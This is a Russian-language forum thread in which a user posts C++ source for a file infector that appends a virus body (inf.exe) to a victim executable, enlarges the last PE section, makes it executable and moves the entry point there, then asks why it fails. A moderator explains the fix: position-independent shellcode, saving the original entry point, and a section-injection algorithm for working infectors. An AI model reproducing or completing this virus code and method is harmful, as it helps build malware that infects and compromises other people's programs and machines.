[C++] Файловый инфектор
| |
Slash | Дата: Суббота, 01.08.2015, 00:39 | Сообщение # 1 |
Постоянный
Зарегистрирован: 20.12.2012
Группа: Пользователи
Сообщений: 161
Статус: Offline
| Вообщем, такой код набросал: Код #include <windows.h> #include <stdlib.h> #include <string.h> #include <tchar.h> #include <string.h> #include <stdio.h> #include <imagehlp.h>
char FileAlignment;
DWORD CureLastSection(char* pFileMap) { PIMAGE_DOS_HEADER dos = (PIMAGE_DOS_HEADER)pFileMap; PIMAGE_NT_HEADERS pNTHeaders = (PIMAGE_NT_HEADERS)(pFileMap + dos->e_lfanew); PIMAGE_SECTION_HEADER pSectionHeader = IMAGE_FIRST_SECTION(pNTHeaders); int numSections = pNTHeaders->FileHeader.NumberOfSections; for(int i = 0; i < numSections; i++){ if(i == numSections-1){ pSectionHeader->Misc.VirtualSize += 0x40000; pSectionHeader->SizeOfRawData += 0x40000; pNTHeaders->OptionalHeader.SizeOfImage += 0x40000; pSectionHeader->Characteristics = 0xa0000020; pNTHeaders->OptionalHeader.SizeOfImage = pSectionHeader->Misc.VirtualSize + pSectionHeader->VirtualAddress; pNTHeaders->OptionalHeader.AddressOfEntryPoint = pSectionHeader->VirtualAddress; MessageBoxA(0, (const char*)pSectionHeader->Name, "Sec name:", 0); MessageBoxA(0, "Last Section Curred!", ":)", 0); } else pSectionHeader++; } return 0; }
int WINAPI WinMain(HINSTANCE hInstance,HINSTANCE hPrevInstance,LPSTR lpCmdLine,int nCmdShow){
HANDLE hFile, hVir, hMapping; DWORD d, offset; DWORD br; char *mapping, *entry; PIMAGE_DOS_HEADER dos; PIMAGE_NT_HEADERS nt; char virBytes[16384]; int i;
DeleteFile( L"C:\\AAA\\1.exe");
CopyFile(L"C:\\AAA\\1_copy.exe", L"C:\\AAA\\1.exe", false);
hFile = CreateFile(L"C:\\AAA\\1.exe", GENERIC_READ|GENERIC_WRITE, 0, 0, OPEN_EXISTING, 0, 0);
if(hFile!=INVALID_HANDLE_VALUE) { d = GetFileSize(hFile, 0); hMapping = CreateFileMapping(hFile, 0, PAGE_READWRITE, 0, d, 0); mapping = (char*)MapViewOfFile(hMapping, FILE_MAP_READ|FILE_MAP_WRITE, 0, 0, d); dos = (PIMAGE_DOS_HEADER)mapping; nt = (PIMAGE_NT_HEADERS)(mapping + dos->e_lfanew);
DWORD dwBytesWritten = 0;
hVir = CreateFile(L"C:\\AAA\\inf.exe", GENERIC_READ, 0, 0, OPEN_EXISTING, 0, 0); SetFilePointer(hVir, 0, NULL, FILE_BEGIN); ReadFile(hVir, virBytes, 16384, &br, NULL ); CloseHandle(hVir);
SetFilePointer(hFile, 90112, NULL, FILE_BEGIN); WriteFile( hFile, virBytes, 16384, &br, NULL );
CureLastSection(mapping);
UnmapViewOfFile(mapping); CloseHandle(hMapping); CloseHandle(hFile);
MessageBoxA(0, "OK", ":)", 0);
}else MessageBoxA(0, "Cant open!", ":)!", 0);
return 1; }
Но не работает - почему? Алгоритм: 1.Дописываю тело inf.exe в конец жертвы 1.exe 2.Ищу последнюю секцию 3.Расширяю ее(а правильно ли??? Если нет - подскажите в чем ошибка) 4.Меняю точку входа на начало последней секции(а так можно? может нужно на конец последней секции? а может на новую точку входа inf.exe)
|
|
| |
Anton93 | Дата: Суббота, 01.08.2015, 14:05 | Сообщение # 2 |
Продвинутый
Зарегистрирован: 06.01.2010
Группа: Модераторы
Сообщений: 320
Статус: Offline
| твои ошибки. 1) нельзя просто так взять и приписать один ехе файл ко второму. т.к. при компиляции они собираются под конкретные адреса. в результате у тебя каша получается при работе программы 2) надо писать шелл-код который будет работать с любого адреса, и который например выпишет оригинальный файл из жертвы носителя. на шелл-код передаем управление в последней секции, а за ним можешь разместить то что надо. естественно на этот адрес не перенаправлять выполнение никогда. следить за этим, иначе крэш.
код в разы будет длиннее. начни с изучения внедрения простых шелл-кодов. будет сложно, сразу говорю. читай про базонезависимый код.
п.с. писать можно хоть на чем. у меня на micro delphi инфекторы прекрасно работают.
ICQ: 41896
Сообщение отредактировал Anton93 - Суббота, 01.08.2015, 14:11 |
|
| |
Slash | Дата: Суббота, 01.08.2015, 16:08 | Сообщение # 3 |
Постоянный
Зарегистрирован: 20.12.2012
Группа: Пользователи
Сообщений: 161
Статус: Offline
| Цитата Anton93 ( ) твои ошибки. 1) нельзя просто так взять и приписать один ехе файл ко второму. т.к. при компиляции они собираются под конкретные адреса. в результате у тебя каша получается при работе программы 2) надо писать шелл-код который будет работать с любого адреса, и который например выпишет оригинальный файл из жертвы носителя. на шелл-код передаем управление в последней секции, а за ним можешь разместить то что надо. естественно на этот адрес не перенаправлять выполнение никогда. следить за этим, иначе крэш.
код в разы будет длиннее. начни с изучения внедрения простых шелл-кодов. будет сложно, сразу говорю. читай про базонезависимый код.
п.с. писать можно хоть на чем. у меня на micro delphi инфекторы прекрасно работают. Значит, алгоритм новый должен быть такой: 1.Создаем или расширяем последнюю секцию 2.Туда пишем шелл код на асме, в котором написано что-то типа:вычитываю тело вируса, сохраняю его в отдельный файл, запускаю на исполнение, прыгаю на OEP. 3.Меняем точку входа на начало последней секции с шелл кодом
Вот так вот?
|
|
| |
Anton93 | Дата: Суббота, 01.08.2015, 17:52 | Сообщение # 4 |
Продвинутый
Зарегистрирован: 06.01.2010
Группа: Модераторы
Сообщений: 320
Статус: Offline
| алгоритм такой - создаешь новую секцию либо расширяешь последнюю. - туда записываешь шелл-код потом необходимые данные - точку входа меняешь на шелл-код тот что в новой либо последней секции - самому шелл-коду надо передать оригинальную точку входа поэтому ее тоже записываешь. я оставляю в теле шелл-кода места для нее.
в принципе все. про заголовок тоже не забываем
ICQ: 41896
Сообщение отредактировал Anton93 - Суббота, 01.08.2015, 17:54 |
|
| |
Slash | Дата: Суббота, 01.08.2015, 18:12 | Сообщение # 5 |
Постоянный
Зарегистрирован: 20.12.2012
Группа: Пользователи
Сообщений: 161
Статус: Offline
| Цитата Anton93 ( ) в принципе все Пасиба. Ток еще одно - я правильно вообще секцию последнюю расширяю или полный бред? Просто, мне кажется так нельзя, что-то я упускаю, и правильно ли считаю SizeOfImage?
|
|
| |
|